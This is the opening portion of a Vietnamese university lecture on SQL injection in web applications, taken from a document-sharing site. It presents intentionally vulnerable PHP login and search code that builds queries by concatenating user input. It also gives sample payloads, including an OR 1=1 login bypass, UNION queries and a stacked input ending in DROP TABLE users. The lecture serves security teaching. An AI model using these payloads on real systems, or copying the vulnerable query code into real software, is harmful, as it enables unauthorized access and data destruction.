Bài giảng Bảo mật ứng dụng web SQL Injection - Nguyễn Hữu Thể

BẢO MẬT ỨNG DỤNG WEB  
SQL INJECTION  
Nguyễn Hữu Thể  
SQL Injection  
Hình thức tấn công vào câu lệnh SQL.  
attacker chèn câu lệnh vào SQL của chương trình  
• => khai thác dữ liệu.  
Khai thác lỗi: các ứng dụng web với backend:  
• Không sử dụng data object  
• Dùng kết nối query thuần  
• Các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về  
2
SQL Injection  
❖ Các dạng lỗi thường gặp:  
Không kiểm tra ký tự thoát truy vấn  
Xử lý không đúng kiểu  
Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu  
Blind SQL Injection  
3
Các dạng tấn công SQL injection  
Dạng tấn công vượt qua kiểm tra đăng nhập  
Dạng tấn công sử dụng câu lệnh SELECT  
Dạng tấn công sử dụng câu lệnh INSERT  
Dạng tấn công sử dụng stored-procedures  
4
Dạng tấn công vượt qua kiểm tra đăng nhập  
(authorization bypass)  
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL.  
Ví dụ: table users như sau:  
CREATE TABLE users (  
id INT NOT NULL AUTO_INCREMENT,  
username VARCHAR(100) NULL,  
password VARCHAR(50) NULL,  
PRIMARY KEY (id)  
);  
INSERT INTO users (username, password) VALUES ('aaa', '123456');  
INSERT INTO users (username, password) VALUES ('bbb', '123456');  
5
Dạng tấn công vượt qua kiểm tra đăng nhập  
(authorization bypass)  
<form action='process_login.php' method="post">  
Username<input type=“text" name=“username" />  
Password <input type="password" name="password" />  
<input type="submit" value="Login" />  
</form>  
Câu truy vấn nhận dữ liệu:  
$sql = "SELECT * FROM users  
WHERE username = '".$_POST[‘username']."'  
AND password = '" . $_POST['password']. "'";  
6
Dạng tấn công vượt qua kiểm tra đăng nhập  
(authorization bypass)  
require 'dbcon.php';  
$sql = "SELECT * FROM users  
WHERE username = '".$_POST['username']."' AND password = '" . $_POST['password']. "'";  
$result = mysqli_query($conn, $sql);  
$row = mysqli_fetch_array($result);  
if($row)  
echo "<br>Thành công";  
else  
echo "<br>Thất bại";  
mysqli_close($conn);  
Dạng tấn công vượt qua kiểm tra đăng nhập  
(authorization bypass)  
Đăng nhập:  
- Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ]  
- Nhập vào ô password: khongbiet  
Kết quả truy vấn:  
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1 -- ]'  
AND password = 'khongbiet'  
Tương đương:  
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1  
8
Dạng tấn công vượt qua kiểm tra đăng nhập  
(authorization bypass)  
TH1: Nhập đúng username và password  
Đăng nhập thành công  
TH2: không biết username và password  
Đăng nhập thành công  
9
Dạng tấn công sử dụng câu lệnh SELECT  
Lợi dụng các sơ hở trong các thông báo lỗi từ hệ  
thống  
• => Dò tìm các điểm yếu khởi đầu cho việc tấn công.  
Thông thường:  
• Sẽ có một trang nhận ID của tin cần hiển thị  
• Sau đó truy vấn nội dung của tin có ID này  
• Hoặc ô nhập liệu tìm kiếm  
10  
Dạng tấn công sử dụng câu lệnh SELECT  
Ví dụ:  
CREATE TABLE monhoc (  
maMon varchar(8) NOT NULL PRIMARY KEY,  
tenMon varchar(100) NOT NULL,  
soTC int(11) NOT NULL  
);  
INSERT INTO monhoc (maMon, tenMon, soTC) VALUES  
('03021003', 'Tin học cơ sở', 4),  
('03021004', 'Nhập môn lập trình', 4),  
('03021005', 'Phương pháp lập trình hướng đối tượng', 4);  
11  
Dạng tấn công sử dụng câu lệnh SELECT  
<form action='process_search.php' method="post">  
Nhập tênmôn: <input type="text" name=“tenmon" required="required"/>  
<input type="submit" value="Tìm" />  
</form>  
Kết quả truy vấn nhận dữ liệu:  
$sql = "SELECT * FROM monhoc  
WHERE tenMon = '".$_POST[‘tenmon']."'";  
SELECT * FROM monhoc WHERE tenMon = ‘Tin học'  
12  
Dạng tấn công sử dụng câu lệnh SELECT  
<?php header('Content-Type: text/html; charset=utf-8'); ?>  
<?php  
require 'dbcon.php';  
$sql = "SELECT * FROM monhoc  
WHERE tenMon like '%".$_POST['tenmon']."%'";  
echo "Câu truy vấn là: " . $sql. "<br>";  
$result = mysqli_query($conn, $sql);  
while($row = mysqli_fetch_array($result)) {  
echo "Mã môn: {$row['maMon']}. Tên môn: {$row['tenMon']}<br>";  
}
mysqli_close($conn);  
?>  
13  
Dạng tấn công sử dụng câu lệnh SELECT  
Mã môn: 03021003. Tên môn: Tin học cơ sở  
14  
Dạng tấn công sử dụng câu lệnh SELECT  
Mã môn: 03021004. Tên môn: Nhập môn lập trình  
Mã môn: 03021005. Tên môn: Phương pháp lập trình  
hướng đối tượng  
15  
Dạng tấn công sử dụng câu lệnh SELECT  
Mã môn: 03021003. Tên môn: Tin học cơ sở  
Mã môn: 03021004. Tên môn: Nhập môn lập trình  
Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng  
SELECT * FROM monhoc WHERE tenMon = 'a' or 1=1-- '  
16  
Dạng tấn công sử dụng câu lệnh SELECT  
Câu lệnh Union: kết hợp 2 table cùng số cột  
SELECT * FROM users Union SELECT * From monhoc  
17  
Dạng tấn công sử dụng câu lệnh SELECT  
Liệt kê 1 dữ liệu có trong table  
18  
Dạng tấn công sử dụng câu lệnh SELECT  
Liệt kê tất cả dữ liệu có trong table  
19  
Dạng tấn công sử dụng câu lệnh SELECT  
Thực hiện nhiều truy vấn cùng lúc  
Giả sử câu truy vấn có dạng:  
$sql = "SELECT * FROM monhoc WHERE maMon = '" . $mamon . "'";  
Người tấn công có thể nhập dữ liệu như sau:  
a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1  
Câu truy vấn sau khi nhận dữ liệu như sau:  
SELECT * FROM monhoc WHERE maMon = 'a'; DROP TABLE  
users; SELECT * FROM sinhvien WHERE '1' = '1'  
20  
Tải về để xem bản đầy đủ
pdf 63 trang baolam 22040 Free
Bạn đang xem 20 trang mẫu của tài liệu "Bài giảng Bảo mật ứng dụng web SQL Injection - Nguyễn Hữu Thể", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

File đính kèm:

  • pdfbai_giang_bao_mat_ung_dung_web_sql_injection_nguyen_huu_the.pdf